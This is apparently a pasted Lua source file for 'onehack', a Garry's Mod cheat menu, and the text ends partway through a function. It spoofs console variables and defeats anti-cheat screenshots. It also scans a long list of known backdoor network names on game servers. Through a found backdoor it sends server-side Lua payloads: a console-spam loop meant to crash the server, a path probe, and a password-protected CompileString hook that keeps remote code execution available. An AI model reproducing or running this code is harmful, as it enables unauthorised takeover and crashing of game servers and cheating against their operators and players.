· 5 years ago · Mar 22, 2020, 11:38 AM
1if ( SERVER ) then
2function file.Read(d)
3return
4end
5end
6end
7
8local GetOriginalConVar = GetConVarNumber;
9function GetConVarNumber( name )
10if ( name == "sv_allowcslua" or name == "sv_cheats" or name == "host_framerate" or name == "mat_fullbright") then
11return 0;
12else
13return GetOriginalConVar( name );
14end
15end
16
17local onehack = onehack or {}
18onehack.options = onehack.options or {}
19onehack.Vars = {}
20onehack.Vars['ASR'] = true -- ANTISCREENGRAB
21onehack.Vars['ASF'] = false -- ANTIFILESTEAL
22onehack.Vars['ESP'] = false
23onehack.Vars['FCAM'] = false -- FREECAM
24onehack.Vars['ESP_NAME'] = false
25onehack.Vars['ESP_WEAPON'] = false
26onehack.Vars['ESP_BOX'] = false
27onehack.Vars['ESP_HPBOX'] = false
28onehack.Vars['WEAPON_LIST3D'] = false
29onehack.Vars['keypad_jiw'] = false
30onehack.CamSpeed_Normal = 2
31onehack.CamSpeed_Fast = 7
32onehack.CamSpeed_Slow = 0.5
33onehack.SpectatePlayer = nil
34onehack.StartCamPos = LocalPlayer():EyePos() or Vector(0,0,0)
35onehack.StartCamAng = LocalPlayer():EyeAngles() or Angle(0,0,0)
36onehack.options.esp = onehack.options.esp or {}
37onehack.theme = onehack.theme or {}
38onehack.BackDoors = {"m9k_rvac","YukiBackdoor","The_DankWhy","loki","stil","thanos","Limon","OBF::JH::HAX","HitOrMiss<3Luda","https://i.imgur.com/Gf6hLMl.png","Net.Start","insid3","ABCNet","FoerHack","display_messagesfh","_Reading_darkrp","nx_noiwex","FPSBOOST","nxsuper","Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ALTERED_CARB0N","ITEM","R8","fix","Fix_Keypads","PoliceJoin","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nostrip","nocheat","LickMeOut","JSQuery.Data(Post(false))","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","c","Detoured q","Þà?D)◘","idk","r8helper","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","Þà ?D)â—","Þà ?D)","SparksLeBg","disablebackdoor","slua2","slua","CraftSomething","WriteQuery","thefrenchenculer","pplay_sendtable"," .. v.NetWork .. ","slua6","jeveuttonrconleul","kill","DefqonBackdoor","DarkRP_AllDoorDatas","0101.1","awarn_remove","PlayerItemPickUp","_Infinity","Infinity","InfinityBackdoor","_Infinity_Meme_","arivia","ULogs_B","_Warns","_cac_","striphelper","_vliss"," Ў є ѕ ї ёСЂ ѕ І ° Ѕ ѕ І ±СѓС„ µСЂ ѕ ± ј µ Ѕ °.","_KekTcf","DataMinerType","_blacksmurf","blacksmurfBackdoor","_Raze","m9k_explosionradius","m9k_explosive","m9k_addons","rcivluz","SENDTEST","_clientcvars","_main","stream","waoz","thereaperishere","bdsm","ZernaxBackdoor","UKT_MOMOS","anticrash","audisquad_lua","dontforget","noprop","thereaper","0x13","Child","!Cac","azkaw","BOOST_FPS","childexploit","ULX_ANTI_BACKDOOR","FADMIN_ANTICRASH","ULX_QUERY_TEST2","GMOD_NETDBG","netlib_debug","NoOdium_ReadPing","Sbox_gm_attackofnullday_key","Sbox_Message","idk","aze46aez67z67z64dcv4bt","nolag","changename","music","xenoexistscl","fourhead","echangeinfo","Þ� ?D)◘","elfamosabackdoormdr","stoppk","reaper","Abcdefgh","pjHabrp9EY","gag","_Battleye_Meme_","GaySploitBackdoor","_GaySploit","Bilboard.adverts:Spawn(false)","BazZziliuS","CacAntiCheat","noclipcloakaWH_chat_text","WepSwitch_DisableAllSwitch","PlayerCheck","backdoorattackdefense_superadminsettrue","loona","kIRIUS"}
39onehack.foundedbacks = {}
40onehack.antiskabad = {"Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ITEM","R8","fix","Fix_Keypads","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nocheat","LickMeOut","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","idk","c","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","ГћГ ?D)в—˜","disablebackdoor","kill","DefqonBackdoor"}
41onehack.AllNets = {}
42onehack.selectedbackdoor = "none"
43onehack.version = "1.0.0"
44onehack.selected_player = 0
45onehack.debug = onehack.debug or {}
46onehack.foundednets = {}
47-- THEME SETTINGS
48onehack.theme.background = Color(30,30,30,200)
49onehack.theme.backgroundalt = Color(25,25,25)
50onehack.theme.backgroundalt2 = Color(50,50,50)
51onehack.theme.backgroundalt3 = Color(15,15,15)
52onehack.theme.buttonhover = Color(255,255,255,50)
53onehack.theme.chroma = Color(255,180,30)
54onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
55-- THEME SETTINGS
56onehack.memory = {
57 ["hud"] = 0,
58 ["logic"] = 0,
59 ["aimbot"] = 0,
60}
61-- OPTIONS
62onehack.options.esp.enable = false
63onehack.options.esp.showname = false
64onehack.options.esp.showbox = false
65onehack.options.esp.showgroup = false
66onehack.options.esp.showweapn = false
67onehack.options.esp.boxtype = 0
68onehack.options.esp.boxcolor = Color(255,255,255)
69onehack.options.esp.namecolor = Color(255,255,255)
70onehack.options.esp.weaponcolor = Color(255,255,255)
71onehack.options.esp.groupcolor = Color(255,255,255)
72
73onehack.options.esp.enable_entity = false
74onehack.options.esp.showname_entity = false
75onehack.options.esp.showbox_entity = false
76onehack.options.esp.boxtype_entity = 0
77onehack.options.esp.boxcolor_entity = Color(255,255,255)
78onehack.options.esp.namecolor_entity = Color(255,255,255)
79-- OPTIONS
80onehack.selectedpanel = nil
81onehack.selectedpanel_id = 0
82onehack.timestamp = os.time()
83onehack.timettring = os.date( "[%H:%M:%S] " , timestamp )
84function onehack.DebugLog( str, col )
85 table.insert(onehack.debug, {onehack.timettring..str, col})
86 if #onehack.debug > 200 then
87 table.remove( onehack.debug, 1 )
88 end
89end
90
91local Tuner = nil
92function onehack.NetStart( str )
93 --print("[DEBUG] Started net: "..str)
94 if onehack.selectedbackdoor == "none" then return false end
95 return net.Start( str )
96end
97
98
99local ss = false
100local renderv = render.RenderView
101local renderc = render.Clear
102local rendercap = render.Capture
103local vguiworldpanel = vgui.GetWorldPanel
104
105
106function onehack.screengrab()
107 if ss then return end
108 ss = true
109
110 renderc( 0, 0, 0, 255, true, true )
111 renderv( {
112 origin = LocalPlayer():EyePos(),
113 angles = LocalPlayer():EyeAngles(),
114 x = 0,
115 y = 0,
116 w = ScrW(),
117 h = ScrH(),
118 dopostprocess = true,
119 drawhud = true,
120 drawmonitors = true,
121 drawviewmodel = true
122 } )
123
124 local vguishits = vguiworldpanel()
125
126 if IsValid( vguishits ) then
127 vguishits:SetPaintedManually( true )
128 end
129
130 timer.Simple( 0.1, function()
131 vguiworldpanel():SetPaintedManually( false )
132 ss = false
133 end)
134end
135
136render.Capture = function(data)
137 if onehack.Vars['ASR'] then
138 onehack.screengrab()
139 onehack.DebugLog( "ScreenGrab started: PROTECTED!", Color(0,255,0) )
140 else
141 onehack.DebugLog( "ScreenGrab started: NOT PROTECTED!", Color(255,0,0) )
142 end
143 local cap = rendercap( data )
144 return cap
145end
146
147local oldRead = file.Read
148function file.Read( fn, path )
149 if string.find(path, "DATA") or string.find(path, "lua") and onehack.Vars['ASF'] then
150 onehack.DebugLog( "File readed: "..path, Color(0,255,0) )
151 return "vzlom_zhopi()"
152 else
153 onehack.DebugLog( "File readed: "..path, Color(255,0,0) )
154 return oldRead( fn, path )
155 end
156end
157
158
159function onehack.NetWriteBeat( str )
160 local netwretbit = net.WriteBit
161 return netwretbit( str )
162end
163
164function onehack.SendToServak()
165 if onehack.selectedbackdoor == "none" then return false end
166 local netsendsrviar = net.SendToServer
167 return netsendsrviar()
168end
169
170function onehack.NetWireString( str )
171 local netwitestring = net.WriteString
172 return netwitestring( str )
173end
174
175function onehack.NetWireInt( str1,str2 )
176 local netwitestring = net.WriteInt
177 return netwitestring( str1,str2 )
178end
179
180function onehack.ValidNetStriABCD( str )
181 local status, error = pcall( s, str )
182 return status
183end
184
185function onehack.MouseInArea(framesag,minx,miny,maxx,maxy)
186 local PosX,PosY = framesag:GetPos()
187 local posx,posy = gui.MousePos();
188 return ((posx >= minx && posx <= maxx) && (posy >= miny && posy <= maxy));
189end
190
191function onehack.RandomString(len)
192 if len == nil then
193 len = math.random(20,100)
194 end
195 local ret = ""
196 for i=1,len do
197 ret = ret..string.char(math.random(33,126))
198 end
199 return ret
200end
201
202function onehack.DrawOutLinedRect(x,y,w,h,color)
203 surface.SetDrawColor( color )
204 surface.DrawOutlinedRect( x, y, w, h )
205 surface.SetDrawColor( Color(255,255,255,255) )
206end
207function onehack.DrawRect(x,y,w,h,color)
208 surface.SetDrawColor( color )
209 surface.DrawRect( x, y, w, h )
210 surface.SetDrawColor( Color(255,255,255,255) )
211end
212function onehack.Drawline(x,y,x2,y2,color)
213 surface.SetDrawColor(color)
214 surface.DrawLine(x,y,x2,y2)
215 surface.SetDrawColor( Color(255,255,255,255) )
216end
217local SpecModeFrame
218function onehack.SpectateMode()
219 if IsValid(SpecModeFrame) then return end
220 onehack.Vars['SCAM'] = true
221 SpecModeFrame = vgui.Create("DFrame")
222 SpecModeFrame:SetSize(300,400)
223 SpecModeFrame:SetPos(ScrW()-300,0)
224 SpecModeFrame:SetTitle("")
225 SpecModeFrame:ShowCloseButton(false)
226 function SpecModeFrame:Paint(w,h)
227 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
228 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
229 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
230 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
231 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
232 draw.SimpleText("Spectator Mode","DermaDefault",w/2,20,Color(150,150,150),1,1)
233 local weapon = "NONE"
234 local hps = "NONE"
235 local ars = "NONE"
236 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
237 if IsValid(onehack.SpectatePlayer:GetActiveWeapon()) then
238 weapon = onehack.SpectatePlayer:GetActiveWeapon():GetClass()
239 end
240 hps = onehack.SpectatePlayer:Health()
241 ars = onehack.SpectatePlayer:Armor()
242 end
243 draw.SimpleText("Weapon: "..weapon,"DermaDefault",10,h-60,Color(150,150,150),0,1)
244 draw.SimpleText("HP/AR: "..hps.."/"..ars,"DermaDefault",12,h-45,Color(150,150,150),0,1)
245 end
246
247 local SpecPlayerList = vgui.Create( "DScrollPanel", SpecModeFrame )
248 SpecPlayerList:Dock(TOP)
249 SpecPlayerList:DockMargin(2,2, 2, 2)
250 SpecPlayerList:SetTall(300)
251 function SpecPlayerList:Paint( w,h )
252 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
253 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
254 end
255 SpecPlayerList.VBar:SetWidth(1)
256 SpecPlayerList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar():GetWide(), SpecPlayerList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
257 SpecPlayerList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnUp:GetWide(), SpecPlayerList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
258 SpecPlayerList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnDown:GetWide(), SpecPlayerList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
259 SpecPlayerList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnGrip:GetWide(), SpecPlayerList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
260
261 for k,v in pairs(player.GetAll()) do
262 if IsValid(v) then
263 local onehack_player_button = SpecPlayerList:Add( "DButton" )
264 onehack_player_button:SetText( "" )
265 onehack_player_button:Dock( TOP )
266 onehack_player_button:DockMargin( 2, 2, 2, 0 )
267 onehack_player_button.Paint = function( _, w, h )
268 if onehack_player_button:IsHovered() then
269 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
270 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
271 else
272 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
273 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
274 end
275 if onehack.SpectatePlayer == v then
276 if IsValid(v) and v:IsPlayer() then
277 draw.SimpleText("> "..v:Name() or "NILL".." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
278 end
279 else
280 if IsValid(v) and v:IsPlayer() then
281 draw.SimpleText(v:Name() or "NILL","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
282 end
283 end
284 end
285 function onehack_player_button:DoClick()
286 if onehack.SpectatePlayer == v then
287 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
288 onehack.SpectatePlayer:SetNoDraw( false )
289 end
290 onehack.SpectatePlayer = nil
291 else
292 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
293 onehack.SpectatePlayer:SetNoDraw( false )
294 end
295 onehack.SpectatePlayer = v
296 v:SetNoDraw( true )
297 end
298 end
299 end
300 end
301
302 for k, v in pairs(ents.GetAll()) do
303 if v:GetClass() == "gmod_cameraprop" then
304 local onehack_camera_button = SpecPlayerList:Add( "DButton" )
305 onehack_camera_button:SetText( "" )
306 onehack_camera_button:Dock( TOP )
307 onehack_camera_button:DockMargin( 2, 2, 2, 0 )
308 onehack_camera_button.Paint = function( _, w, h )
309 if onehack_camera_button:IsHovered() then
310 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
311 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
312 else
313 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
314 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
315 end
316 if onehack.SpectatePlayer == v then
317 draw.SimpleText("> CAMERA "..k.."# <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
318 else
319 draw.SimpleText("CAMERA "..k.."#","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
320 end
321 end
322 function onehack_camera_button:DoClick()
323 if onehack.SpectatePlayer == v then
324 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
325 onehack.SpectatePlayer:SetNoDraw( false )
326 end
327 onehack.SpectatePlayer = nil
328 else
329 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
330 onehack.SpectatePlayer:SetNoDraw( false )
331 end
332 onehack.SpectatePlayer = v
333 if v:IsValid() then
334 v:SetNoDraw( true )
335 end
336 end
337 end
338 end
339 end
340
341 local CloseSpec = SpecModeFrame:Add( "DButton" )
342 CloseSpec:SetTextColor( Color( 200, 200, 200 ) )
343 CloseSpec:SetText( "" )
344 CloseSpec:Dock(BOTTOM)
345 CloseSpec:DockMargin(1,2, 1, 0)
346 function CloseSpec:Paint( w,h )
347 if CloseSpec:IsHovered() then
348 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
349 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
350 else
351 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
352 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
353 end
354 draw.SimpleText("Exit","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
355 end
356
357 CloseSpec.DoClick = function()
358 onehack.Vars['SCAM'] = false
359 SpecModeFrame:Remove()
360 end
361end
362
363function onehack.scan()
364 for i = 0, 2^16 do
365 local str = util.NetworkIDToString( i )
366 if ( str && str != "" ) then
367 if( !net.Receivers[str] ) then
368 table.insert( onehack.AllNets, str )
369 end
370 end
371 end
372 for i = 0, 2^16 do
373 local str = util.NetworkIDToString( i )
374 if ( str && str != "" ) then
375 if( !net.Receivers[str] ) then
376 table.insert(onehack.foundednets,str)
377 if table.HasValue( onehack.BackDoors, str ) or string.find( string.lower(str), "backdoor" ) or string.find( string.lower(str), "exploit" ) or string.find( string.lower(str), "http" ) then
378 if not table.HasValue( onehack.foundedbacks, str ) then
379 if not table.HasValue(onehack.antiskabad,str) then
380 table.insert( onehack.foundedbacks, str )
381 onehack.DebugLog( "Backdoor found: "..str, Color(116,41,162) )
382 else
383 table.insert( onehack.foundedbacks, str )
384 onehack.DebugLog( "Backdoor found: "..str.." (Внимание данный бэкду ве оятнее фейк!)", Color(116,41,162) )
385 end
386 end
387 end
388 end
389 end
390 end
391end
392
393function onehack.StripWeapon( ent )
394 if not ent:IsValid() then return end
395 if ent.NextNuke and ent.NextNuke > CurTime() then return end
396 onehack.NetStart("properties")
397 net.WriteString("remove")
398 net.WriteEntity( ent )
399 net.SendToServer()
400 ent.NextNuke = CurTime() + 0.5
401end
402function onehack.StripAllWeapons( tab )
403 for k, v in pairs( tab ) do
404 if not v:IsValid() then continue end
405 if v.NextNuke and v.NextNuke > CurTime() then continue end
406 onehack.NetStart("properties")
407 net.WriteString("remove")
408 net.WriteEntity( v )
409 net.SendToServer()
410 end
411end
412onehack.scan()
413function MainFunc()
414 actived = true
415 framesag = vgui.Create("DFrame")
416 framesag:SetSize(600,400)
417 framesag:Center()
418 framesag:MakePopup()
419 framesag:SetTitle("")
420 framesag:ShowCloseButton(false)
421 function framesag:Init()
422 framesag.startTime = SysTime()
423 end
424 function framesag:Paint(w,h)
425 Derma_DrawBackgroundBlur( framesag, framesag.startTime )
426 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
427 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
428 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
429 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
430 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
431 end
432
433 ButtonList = vgui.Create( "DScrollPanel", framesag )
434 ButtonList:SetPos(6,9)
435 ButtonList:SetSize(120,400-15)
436 function ButtonList:Paint(w,h)
437 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
438 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
439 end
440
441 function PanelAddButton( text, menuses,id) -- Кнопка в левое меню
442 local MenuBut = ButtonList:Add( "DButton" )
443 MenuBut:SetTextColor( Color( 200, 200, 200 ) )
444 MenuBut:SetText("")
445 MenuBut:SetHeight(30)
446 MenuBut:Dock( TOP )
447 MenuBut:DockMargin( 0, 0, 0, 0 )
448 function MenuBut:Paint( w,h )
449 if MenuBut:IsHovered() then
450 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
451 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
452 else
453 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
454 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
455 end
456 if onehack.selectedpanel_id == id then
457 draw.SimpleText(text,"DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
458 else
459 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
460 end
461 end
462
463 MenuBut.DoClick = function()
464 if onehack.selectedpanel == menuses then return end
465 if onehack.selectedpanel != menuses then
466 menuses()
467 end
468 end
469 end
470
471 function onehack.AddFunction( text , lolol, dawcf, func ) -- Кнопка в левое меню
472 local MenuBut2 = onehack.backlistt_functionsss_list:Add( "DButton" )
473 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
474 MenuBut2:SetText( "" )
475 MenuBut2:Dock( TOP )
476 MenuBut2:DockMargin( 0, 0, 0, 1 )
477 function MenuBut2:Paint( w,h )
478 if MenuBut2:IsHovered() then
479 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
480 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
481 else
482 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
483 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
484 end
485 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
486 end
487
488 MenuBut2.DoClick = function()
489 func()
490 end
491 end
492 function onehack.AddExploit( text , func ) -- Кнопка в левое меню
493 local MenuBut2 = onehack.exploitsList:Add( "DButton" )
494 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
495 MenuBut2:SetText( "" )
496 MenuBut2:Dock( TOP )
497 MenuBut2:DockMargin( 0, 0, 0, 1 )
498 function MenuBut2:Paint( w,h )
499 if MenuBut2:IsHovered() then
500 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
501 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
502 else
503 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
504 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
505 end
506 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
507 end
508
509 MenuBut2.DoClick = function()
510 func()
511 end
512 end
513 function onehackdooropt() -- onehack.backlistt_functionsss_list
514 onehackdooropt = vgui.Create( "DPanel" , framesag )
515 onehackdooropt:SetPos( 126, 9 )
516 onehackdooropt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
517 function onehackdooropt:Paint( w, h )
518 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
519 end
520
521 onehack.backlistt = vgui.Create( "DComboBox", onehackdooropt )
522 onehack.backlistt:SetPos( onehackdooropt:GetWide()-155, 5 )
523 onehack.backlistt:SetSize( 150, 25 )
524 onehack.backlistt:SetValue( "Select Backdoor" )
525 for _,v in pairs(onehack.foundedbacks) do
526 onehack.backlistt:AddChoice( v )
527 end
528 onehack.backlistt.OnSelect = function( self, index, value )
529 onehack.selectedbackdoor = value
530 end
531 onehack.backlistt.Paint = function( _, w, h )
532 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
533 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
534 end
535
536 onehack.backlistt_check_button = vgui.Create( "DButton", onehackdooropt )
537 onehack.backlistt_check_button:SetPos( 5, 5 )
538 onehack.backlistt_check_button:SetSize( 150, 25 )
539 onehack.backlistt_check_button:SetText( "" )
540 onehack.backlistt_check_button.Paint = function( _, w, h )
541 if onehack.backlistt_check_button:IsHovered() then
542 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
543 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
544 else
545 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
546 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
547 end
548 draw.SimpleText("Check backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
549 end
550 function onehack.backlistt_check_button:DoClick()
551 onehack.NetStart( onehack.selectedbackdoor )
552 onehack.NetWireString([[
553
554 local id = ]] .. LocalPlayer():UserID() .. [[
555
556 Player( id ):SendLua("ABCNotify(\" аботает!\", 4)")
557
558 ]])
559 net.WriteBit(1)
560 onehack.SendToServak()
561 end
562
563 onehack.backlistt_crashserver = vgui.Create( "DButton", onehackdooropt )
564 onehack.backlistt_crashserver:SetPos( onehackdooropt:GetWide()-155, 35 )
565 onehack.backlistt_crashserver:SetSize( 150, 25 )
566 onehack.backlistt_crashserver:SetText( "" )
567 onehack.backlistt_crashserver.Paint = function( _, w, h )
568 if onehack.backlistt_crashserver:IsHovered() then
569 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
570 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
571 else
572 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
573 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
574 end
575 draw.SimpleText("Off server","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
576 end
577 function onehack.backlistt_crashserver:DoClick()
578 onehack.NetStart( onehack.selectedbackdoor )
579 net.WriteString( "timer.Create( \"spamlolk\", 0, 0, function() for i = 1, 1000000 do MsgC(Color(math.random(255), math.random(255), math.random(255)), \"� \") end end)" )
580 net.WriteBit(1)
581 onehack.SendToServak()
582 end
583
584 onehack.backlistt_pach_button = vgui.Create( "DButton", onehackdooropt )
585 onehack.backlistt_pach_button:SetPos( 160, 5 )
586 onehack.backlistt_pach_button:SetSize( 147, 25 )
587 onehack.backlistt_pach_button:SetText( "" )
588 onehack.backlistt_pach_button.Paint = function( _, w, h )
589 if onehack.backlistt_pach_button:IsHovered() then
590 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
591 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
592 else
593 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
594 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
595 end
596 draw.SimpleText("Detect pach","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
597 end
598 function onehack.backlistt_pach_button:DoClick()
599 onehack.NetStart( onehack.selectedbackdoor )
600 onehack.NetWireString([[
601 local id = ]] .. LocalPlayer():UserID() .. [[
602
603 for k ,v in SortedPairs( net.Receivers, false ) do
604 if k == string.lower( "]]..onehack.selectedbackdoor..[[") then
605 Player( id ):ChatPrint("Path: "..debug.getinfo( v )["short_src"] )
606 end
607 end
608 ]])
609 net.WriteBit(1)
610 onehack.SendToServak()
611 end
612
613 onehack.backlistt_fix_button = vgui.Create( "DButton", onehackdooropt )
614 onehack.backlistt_fix_button:SetPos( 160, 35 )
615 onehack.backlistt_fix_button:SetSize( 147, 25 )
616 onehack.backlistt_fix_button:SetText( "" )
617 onehack.backlistt_fix_button.Paint = function( _, w, h )
618 if onehack.backlistt_fix_button:IsHovered() then
619 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
620 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
621 else
622 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
623 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
624 end
625 draw.SimpleText("Fix backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
626 end
627 function onehack.backlistt_fix_button:DoClick()
628 onehack.NetStart( onehack.selectedbackdoor )
629 net.WriteString( [[
630 net.Receive(]]..onehack.selectedbackdoor..[[,function()
631 print("У ВАС ЕСТЬ BACKDOOR!!!!!!!!!!!!!!!!!!!!!!!!")
632 end)
633 ]] )
634 net.WriteBit(1)
635 onehack.SendToServak()
636 end
637
638 onehack.backlistt_protect_input = vgui.Create("DTextEntry", onehackdooropt)
639 onehack.backlistt_protect_input:SetPos( 5, 35 )
640 onehack.backlistt_protect_input:SetSize( 150, 25 )
641 onehack.backlistt_protect_input:SetText( "password" )
642 onehack.backlistt_protect_input.Paint = function( self, w, h )
643 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
644 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
645 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
646 --draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
647 end
648
649 onehack.backlistt_protect_button = vgui.Create( "DButton", onehackdooropt )
650 onehack.backlistt_protect_button:SetPos( 5, 59 )
651 onehack.backlistt_protect_button:SetSize( 150, 31 )
652 onehack.backlistt_protect_button:SetText( "" )
653 onehack.backlistt_protect_button.Paint = function( _, w, h )
654 if onehack.backlistt_protect_button:IsHovered() then
655 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
656 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
657 else
658 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
659 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
660 end
661 draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
662 end
663 function onehack.backlistt_protect_button:DoClick()
664 onehack.NetStart( onehack.selectedbackdoor )
665 onehack.NetWireString([[
666 net.Receive(]]..onehack.selectedbackdoor..[[,function()
667 if net.ReadFloat() == "]]..onehack.backlistt_protect_input:GetValue()..[[" then
668 local x = CompileString( net.ReadString(), 'LuaCmd', false )
669 if isfunction( x ) then
670 x()
671 end
672 end
673 end)
674 ]])
675 net.WriteBit(1)
676 onehack.SendToServak()
677 end
678
679 onehack.backlistt_players_list = vgui.Create( "DScrollPanel", onehackdooropt )
680 onehack.backlistt_players_list:SetPos(5,114)
681 onehack.backlistt_players_list:SetSize(150,264)
682 function onehack.backlistt_players_list:Paint( w,h )
